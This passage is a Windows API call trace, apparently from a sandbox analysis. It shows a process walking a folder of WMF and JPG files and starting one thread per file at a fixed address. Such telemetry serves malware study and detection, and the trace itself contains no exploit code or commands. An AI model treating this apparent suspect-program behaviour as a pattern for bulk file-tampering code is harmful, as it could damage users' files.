	[0238.803] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1
	[0238.803] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1928
	[0238.805] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.805] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1
	[0238.805] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x192c
	[0238.808] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.809] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1
	[0238.809] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1930
	[0238.811] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.812] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1
	[0238.812] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1934
	[0238.984] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.985] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1
	[0238.985] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1938
	[0238.988] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.988] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1
	[0238.988] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x193c
	[0238.991] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.992] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1
	[0238.992] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1940
	[0238.994] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.995] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1
	[0238.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1944
	[0238.997] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.998] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1
	[0238.998] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1948
	[0239.000] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.001] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1
	[0239.001] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194c
	[0239.003] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.004] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1
	[0239.004] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1950
	[0239.007] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.007] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1
	[0239.007] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1954
	[0239.009] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.010] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1
	[0239.010] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f512db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1958
	[0239.013] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.013] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1
	[0239.013] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f516490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x195c
	[0239.016] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.016] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1
	[0239.016] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f519b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1960
	[0239.094] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.095] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1
	[0239.095] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1964
	[0239.097] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.098] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1
	[0239.098] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f51d250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1968
	[0239.100] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.101] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1
	[0239.101] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f520930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x196c
	[0239.104] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.104] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1
	[0239.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f524010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1970
	[0239.107] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.107] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1
	[0239.108] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f5276f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1974
	[0239.110] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.111] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1
	[0239.111] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f52add0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1978
	[0239.114] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.115] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1
	[0239.115] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f52e4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x197c
	[0239.118] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.119] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1
	[0239.119] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f531b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1980
	[0239.122] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.122] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1
	[0239.122] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f535270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1984
	[0239.125] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.126] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1
	[0239.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1988
	[0239.209] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.210] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1
	[0239.210] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198c
	[0239.212] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.213] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1
	[0239.213] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1990
	[0239.215] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
